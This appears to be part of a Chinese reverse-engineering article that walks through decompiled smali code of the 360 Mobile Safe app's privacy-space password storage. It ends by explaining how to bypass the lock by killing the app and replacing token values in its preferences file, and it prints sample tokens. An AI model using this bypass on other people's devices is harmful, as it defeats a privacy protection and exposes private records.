const-stringv1,private_auto_sms_content constv2,0x7f070017 invoke-direct {p0, v0, v1, v2}, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;-a(Landroid/pr eference/ListPreference;Ljava/lang/String;I)V#调用a()返回一个ListPreference invoke-virtual {p0}, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;-getResources( )Landroid/content/res/Resources; move-result-objectv0 constv1,0x7f0b0017 invoke-virtual {v0, v1}, Landroid/content/res/Resources;-getString(I)Ljava/lang/String;#获取一个字符串 move-result-objectv0 iput-object v0, p0, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;-g:Ljava/lang/ String; #将字符串赋值给g成员变量 invoke-virtual {p0}, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;-getPreference Screen()Landroid/preference/PreferenceScreen; move-result-objectv0 const-stringv1,private_mainmenu_title invoke-virtual {v0, v1}, Landroid/preference/PreferenceScreen;-findPreference(Ljava/lang/CharSequence;) Landroid/preference/Preference; move-result-objectv0#获取主菜单标题的Preference iput-object v0, p0, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;-e:Landroid/pr eference/Preference; #将Preference赋值给e成员变量 iget-object v0, p0, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;-e:Landroid/pr eference/Preference; if-eqzv0,:cond_2#判断是否为空 iget-object v0, p0, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;-e:Landroid/pr eference/Preference; invoke-virtual {v0}, Landroid/preference/Preference;-getSharedPreferences()Landroid/content/SharedP references; move-result-objectv0 invoke-interface {v0, p0}, Landroid/content/SharedPreferences;-registerOnSharedPreferenceChangeListener(L android/content/SharedPreferences$OnSharedPreferenceChangeListener;)V #registerOnSharedPreferenceChangeListener注册监听器 iget-object v0, p0, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;-e:Landroid/pr eference/Preference; new-instancev1,Lagr;#☻new一个agr对象☻ invoke-direct {v1, p0}, Lagr;-init(Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;) V invoke-virtual {v0, v1}, Landroid/preference/Preference;-setOnPreferenceClickListener(Landroid/preferen ce/Preference$OnPreferenceClickListener;)V#设置监听器 :cond_2 invoke-virtual {p0}, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;-getPreference Screen()Landroid/preference/PreferenceScreen; move-result-objectv0 const-stringv1,private_pwd invoke-virtual {v0, v1}, Landroid/preference/PreferenceScreen;-findPreference(Ljava/lang/CharSequence;) Landroid/preference/Preference; move-result-objectv0#查找隐私密码List的Preference iput-object v0, p0, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;-a:Landroid/pr eference/Preference; iget-object v0, p0, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;-a:Landroid/pr eference/Preference; if-eqzv0,:cond_3 iget-object v0, p0, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;-a:Landroid/pr eference/Preference; invoke-virtual {v0}, Landroid/preference/Preference;-getSharedPreferences()Landroid/content/SharedP references; move-result-objectv0 invoke-interface {v0, p0}, Landroid/content/SharedPreferences;-registerOnSharedPreferenceChangeListener(L android/content/SharedPreferences$OnSharedPreferenceChangeListener;)V#注册监听器 iget-object v0, p0, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;-a:Landroid/pr eference/Preference; new-instancev1,Lago;#☻new一个ago对象☻ invoke-direct {v1, p0}, Lago;-init(Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;) V invoke-virtual {v0, v1}, Landroid/preference/Preference;-setOnPreferenceClickListener(Landroid/preferen ce/Preference$OnPreferenceClickListener;)V :cond_3 invoke-virtual {p0}, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;-getPreference Screen()Landroid/preference/PreferenceScreen; move-result-objectv0 const-stringv1,private_email invoke-virtual {v0, v1}, Landroid/preference/PreferenceScreen;-findPreference(Ljava/lang/CharSequence;) Landroid/preference/Preference; move-result-objectv0#查找密码找回邮箱List的Preference iput-object v0, p0, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;-b:Landroid/pr eference/Preference; #赋值给成员变量b iget-object v0, p0, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;-b:Landroid/pr eference/Preference; if-eqzv0,:cond_4 iget-object v0, p0, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;-b:Landroid/pr eference/Preference; invoke-virtual {v0}, Landroid/preference/Preference;-getSharedPreferences()Landroid/content/SharedP references; move-result-objectv0 invoke-interface {v0, p0}, Landroid/content/SharedPreferences;-registerOnSharedPreferenceChangeListener(L android/content/SharedPreferences$OnSharedPreferenceChangeListener;)V#注册监听器 iget-object v0, p0, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;-b:Landroid/pr eference/Preference; new-instancev1,Lagp;#☻new一个agp对象☻ invoke-direct {v1, p0}, Lagp;-init(Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;) V invoke-virtual {v0, v1}, Landroid/preference/Preference;-setOnPreferenceClickListener(Landroid/preferen ce/Preference$OnPreferenceClickListener;)V#设置监听器 :cond_4 invoke-virtual {p0}, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;-getPreference Screen()Landroid/preference/PreferenceScreen; move-result-objectv0 const-stringv1,user_custom_private_pic invoke-virtual {v0, v1}, Landroid/preference/PreferenceScreen;-findPreference(Ljava/lang/CharSequence;) Landroid/preference/Preference; move-result-objectv0#查找用户自定义“隐私空间”图标List的Preference iput-object v0, p0, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;-c:Landroid/pr eference/Preference; #赋值给成员变量c iget-object v0, p0, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;-c:Landroid/pr eference/Preference; if-eqzv0,:cond_5 iget-object v0, p0, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;-c:Landroid/pr eference/Preference; invoke-virtual {v0}, Landroid/preference/Preference;-getSharedPreferences()Landroid/content/SharedP references; move-result-objectv0 invoke-interface {v0, p0}, Landroid/content/SharedPreferences;-registerOnSharedPreferenceChangeListener(L android/content/SharedPreferences$OnSharedPreferenceChangeListener;)V iget-object v0, p0, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;-c:Landroid/pr eference/Preference; new-instancev1,Lagm;#☻new一个agm对象☻ invoke-direct {v1, p0}, Lagm;-init(Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;) V invoke-virtual {v0, v1}, Landroid/preference/Preference;-setOnPreferenceClickListener(Landroid/preferen ce/Preference$OnPreferenceClickListener;)V#设置监听器 :cond_5 invoke-virtual {p0}, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;-getPreference Screen()Landroid/preference/PreferenceScreen; move-result-objectv0 const-stringv1,user_custom_private_pic_call invoke-virtual {v0, v1}, Landroid/preference/PreferenceScreen;-findPreference(Ljava/lang/CharSequence;) Landroid/preference/Preference; move-result-objectv0#查找用户自定义“隐私空间”电话图标List的 Preference iput-object v0, p0, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;-d:Landroid/pr eference/Preference; #赋值给成员变量d iget-object v0, p0, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;-d:Landroid/pr eference/Preference; if-eqzv0,:cond_0 iget-object v0, p0, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;-d:Landroid/pr eference/Preference; invoke-virtual {v0}, Landroid/preference/Preference;-getSharedPreferences()Landroid/content/SharedP references; move-result-objectv0 invoke-interface {v0, p0}, Landroid/content/SharedPreferences;-registerOnSharedPreferenceChangeListener(L android/content/SharedPreferences$OnSharedPreferenceChangeListener;)V iget-object v0, p0, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;-d:Landroid/pr eference/Preference; new-instancev1,Lagn;#☻new一个agn对象☻ invoke-direct {v1, p0}, Lagn;-init(Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;) V invoke-virtual {v0, v1}, Landroid/preference/Preference;-setOnPreferenceClickListener(Landroid/preferen ce/Preference$OnPreferenceClickListener;)V goto/16:goto_0 .endmethod
在“onCreate(Landroid/os/Bundle;)V”方法中可以看到分别对“隐私空间”设置Activity的“更改隐私密码”、“密码保护邮箱”、“主界面显示名称及图标”的点击事件分别设置了监听器,而每个监听器则是new的一个对象,如为“密码保护邮箱”new了一个agp对象,而“更改隐私密码”则new了一个ago对象,ago对象是个什么对象?
通过我对Proguard生成的代码分析经验所得,它应该只是一个普通的监听器方法。Proguard会将一个类中的监听器方法抽取成一个单独而随机的类,而名称与变量的生成规则是按照从“a-z”的方式生成,如第一个类方法会是a(),下一个类方法如果参数与a()不同则是a(xxx),这里的“xxx”就是参数列表,如果下一个方法名不能用a()重载的方式生成,就会用b()方法来表示,同样不能用b()来重载的方法就会用c()来生成,以此类推,变量名也是如此。下面是ago对象的代码:
.method public constructor init(Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;)V .locals0 iput-object p1, p0, Lago;-a:Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference; invoke-direct{p0},Ljava/lang/Object;-init()V return-void .endmethod .methodpubliconPreferenceClick(Landroid/preference/Preference;)Z .locals1 iget-object v0, p0, Lago;-a:Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference; invoke-static {v0}, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;-c(Lcom/qihoo3 60/mobilesafe/ui/privatespace/PrivateSetupPreference;)V #☻调用 PrivateSetupPreference的静态c方法☻ const/4v0,0x1 returnv0 .endmethod
响应用户点击的代码只是调用了“PrivateSetupPreference-c()”方法,真是让人晕啊,代码又迂回到了“PrivateSetupPreference.smali”中,其它几个agp、agm、agn对象与这里一样,只是分别调用了d()、e()与f()。
.method public static synthetic c(Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;)V .locals0 invoke-direct {p0}, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;-d()V return-void .endmethod
在c中又调用了d(),继续看d(),是私有方法哦:
.methodprivated()V .locals6 invoke-static {p0}, Landroid/view/LayoutInflater;-from(Landroid/content/Context;)Landroid/view/Lay outInflater; move-result-objectv0 constv1,0x7f030046 const/4v2,0x0 invoke-virtual {v0, v1, v2}, Landroid/view/LayoutInflater;-inflate(ILandroid/view/ViewGroup;)Landroid/view/ View; move-result-objectv2#获取View constv0,0x7f0a0104 invoke-virtual {v2, v0}, v1}, Landroid/view/View;-findViewById(I)Landroid/view/View; move-result-objectv0#☻获取“输入密码”的EditText☻ check-castv0,Landroid/widget/EditText; constv1,0x7f0a0105 invoke-virtual {v2, Landroid/view/View;-findViewById(I)Landroid/view/View; move-result-objectv1#☻获取“确认密码”的EditText☻ check-castv1,Landroid/widget/EditText; new-instancev3,Lcom/qihoo360/mobilesafe/ui/dialog/DialogFactory; constv4,0x7f0b0065 constv5,0x7f0b0066 invoke-direct {v3, p0, v4, v5}, Lcom/qihoo360/mobilesafe/ui/dialog/DialogFactory;-init(Landroid/content/Cont ext;II)V #初始化一个DialogFactory对象 iget-object v4, v3, Lcom/qihoo360/mobilesafe/ui/dialog/DialogFactory;-mBtnOK:Landroid/widget/Butto n; constv5,0x7f0b0090 invoke-virtual{v4,v5},Landroid/widget/Button;-setText(I)V#☻设置确认按钮的文本☻ iget-object v4, v3, Lcom/qihoo360/mobilesafe/ui/dialog/DialogFactory;-mBtnCancel:Landroid/widget/B utton; constv5,0x7f0b0091 invoke-virtual{v4,v5},Landroid/widget/Button;-setText(I)V#☻设置取消按钮的文本☻ iget-object v4, v3, Lcom/qihoo360/mobilesafe/ui/dialog/DialogFactory;-mContents:Landroid/widget/Li nearLayout; invoke-virtual {v4, v2}, Landroid/widget/LinearLayout;-addView(Landroid/view/View;)V #设置DialogFactory对象的View const/4v2,0x1 invoke-virtual {v3, v2}, v3, Lcom/qihoo360/mobilesafe/ui/dialog/DialogFactory;-setCancelable(Z)V iget-object v2, Lcom/qihoo360/mobilesafe/ui/dialog/DialogFactory;-mBtnOK:Landroid/widget/Butto n; #获取确认按钮对象 new-instancev4,Lagj;#☻new一个agj对象,实际又是一个监听器对象☻ invoke-direct {v4, p0, v0, v1, v3}, Lagj;-init(Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;L android/widget/EditText;Landroid/widget/EditText;Lcom/qihoo360/mobilesafe/ui/di alog/DialogFactory;)V#初始化监听器 invoke-virtual {v2, v4}, Landroid/widget/Button;-setOnClickListener(Landroid/view/View$OnClickListener; )V#设置确认按钮的监听器 iget-object v0, v3, Lcom/qihoo360/mobilesafe/ui/dialog/DialogFactory;-mBtnCancel:Landroid/widget/B utton; new-instancev1,Lbv;#☻new一个bv对象,实际又是一个监听器对象☻ invoke-direct {v1, p0, v3}, Lbv;-init(Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;Lc om/qihoo360/mobilesafe/ui/dialog/DialogFactory;)V#初始化监听器 invoke-virtual {v0, v1}, Landroid/widget/Button;-setOnClickListener(Landroid/view/View$OnClickListener; )V#设置取消按钮的监听器 invoke-virtual {p0}, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;-isFinishing() Z move-resultv0 if-nezv0,:cond_0 invoke-virtual {v3}, Lcom/qihoo360/mobilesafe/ui/dialog/DialogFactory;-show()V#显示出来 :cond_0 return-void .endmethod 代码我注释的很详细了,关键点也是加黑部分的设置监听器的地方,我们看看 “agj.smali”文件: .methodpubliconClick(Landroid/view/View;)V .locals3 iget-objectv0,p0,Lagj;-a:Landroid/widget/EditText; invoke-virtual {v0}, Landroid/widget/EditText;-getText()Landroid/text/Editable; move-result-objectv0 invoke-virtual{v0},Ljava/lang/Object;-toString()Ljava/lang/String;# ☻获取密码 move-result-objectv0 iget-objectv1,p0,Lagj;-b:Landroid/widget/EditText; invoke-virtual {v1}, Landroid/widget/EditText;-getText()Landroid/text/Editable; move-result-objectv1 invoke-virtual{v1},Ljava/lang/Object;-toString()Ljava/lang/String;# ☻获取确认密码 move-result-objectv1 invoke-static {v0}, Landroid/text/TextUtils;-isEmpty(Ljava/lang/CharSequence;)Z#判断密码是否为空 move-resultv2 if-nezv2,:cond_0 invoke-static {v1}, Landroid/text/TextUtils;-isEmpty(Ljava/lang/CharSequence;)Z#判断确认密码是否为空 move-resultv2 if-nezv2,:cond_0 invoke-virtual{v0,v1},Ljava/lang/String;-equals(Ljava/lang/Object;)Z #判断两密码是否相等 move-resultv0 if-nezv0,:cond_1 :cond_0 iget-object v0, p0, Lagj;-d:Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference; constv1,0x7f0b009d const/4v2,0x0 invoke-static {v0, v1, v2}, Landroid/widget/Toast;-makeText(Landroid/content/Context;II)Landroid/widget/To ast; move-result-objectv0 invoke-virtual{v0},Landroid/widget/Toast;-show()V#提示密码输入错误 :goto_0 return-void :cond_1 iget-objectv0,p0,Lagj;-a:Landroid/widget/EditText; invoke-virtual {v0}, Landroid/widget/EditText;-getText()Landroid/text/Editable; move-result-objectv0 invoke-virtual{v0},Ljava/lang/Object;-toString()Ljava/lang/String;# 再次获取密码 move-result-objectv0 iget-object v1, p0, v0}, p0, Lagj;-d:Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference; invoke-static {v1, Laue;-g(Landroid/content/Context;Ljava/lang/String;)V#☻调用g()方法☻ iget-object v0, Lagj;-c:Lcom/qihoo360/mobilesafe/ui/dialog/DialogFactory; invoke-virtual {v0}, Lcom/qihoo360/mobilesafe/ui/dialog/DialogFactory;-dismiss()V#退出对话框 goto:goto_0 .endmethod
处理很简单,如果输入没有错误的话就调用aue-g()方法,然后退出对话框,我们继续跟踪代码:
.methodpublicstaticg(Landroid/content/Context;Ljava/lang/String;)V .locals3 sput-objectp1,Laue;-u:Ljava/lang/String; invoke-static {p0}, {p0}, Laue;-p(Landroid/content/Context;)Ljava/lang/String;#☻调用aue-p()方法☻ move-result-objectv0#保存“private_security_token”到v0 invoke-static Landroid/preference/PreferenceManager;-getDefaultSharedPreferences(Landroid/co ntent/Context;)Landroid/content/SharedPreferences; move-result-objectv1 invoke-interface {v1}, Landroid/content/SharedPreferences;-edit()Landroid/content/SharedPreferences$E ditor;#获取一个编辑器 move-result-objectv1 const-stringv2,private_password_token#要写入保存的键值 invoke-static {v0, p1}, Lals;-c(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; #☻调用als-c()方法进行加密 move-result-objectv0 invoke-interface {v1, v2, v0}, Landroid/content/SharedPreferences$Editor;-putString(Ljava/lang/String;Ljava/l ang/String;)Landroid/content/SharedPreferences$Editor;#调用编辑器的方法写入字符串值 invoke-interface {v1}, Landroid/content/SharedPreferences$Editor;-commit()Z#提交保存 return-void .endmethod
这里将要保存的密码进行加密后保存,关键点就在于分析aue-p()与als-c()了。这里我再跟下去怕没完没了,说下aue-p()吧,它的作用是写入并保存“private_security_token”,而als-c()方法则传入“private_password_token”与“private_security_token”进行DES加密,最后调用als-a()方法进行位移与运算,最后写入配置文件中。总结下代码的步骤为PrivateSetupPreference--ago--PrivateSetupPreference-c()--PrivateSetupPreference-d()--agj--aue-g(--als-c()--als-a()有兴趣的可以继续研究实现解密出原始密码,这里由于篇幅不再深究。说说破解这个密码的简单方法:在“data/data/com.qihoo360.mobilesafe/share_prefs/com.qihoo360.mobilesafe_preferences.xml”文件中,分别有三组值:
string name=private_email_tokenb71735aa47813612ba59aa88b08b34d4b6149dd3a92649f0/st ring string name=private_security_token787e5f066142bb876bb332064230e4b3/string string name=private_password_tokene76951065ad722c7a3f68f359c7832c419cc7f4a1676be072 3c0017892a09e545979e0105aedc6ce/string
将360进程干掉(方法前面有介绍),将“com.qihoo360.mobilesafe_preferences.xml”文件中这三组键值写入自己已知的值(可事先自己用已知密码与邮箱生成),这样,重启360后就可以用自己设置的密码进入“隐私空间”了,并且里面的记录都还原原本本的存在。
OK!这篇老长的文章终于写完了,说说在写调试程序时的一个小插曲,起先研究开机启动的时候我想到的是在开机启动广播中结束360进程,然后自己创建动态广播,结果,测试时发现安装测试程序后,重启手机刚进入桌面又杯具的重启了,并且进行了一个无限的重启循环(后来明白了,360压根都还没启动,结果360进程肯定会异常了,因为又用了ROOT权限,所有手机就重启了),我对手机进行双WIPE后一样的异常(手机ROOT后我删除掉了一些系统程序,结果不稳定了),根本用不了,由此迎来了这小六的第一次刷机之旅....
本文内容所提及均为本地测试或经过目标授权同意,旨在提供教育和研究信息。作者不鼓励或支持任何形式的非法破解行为。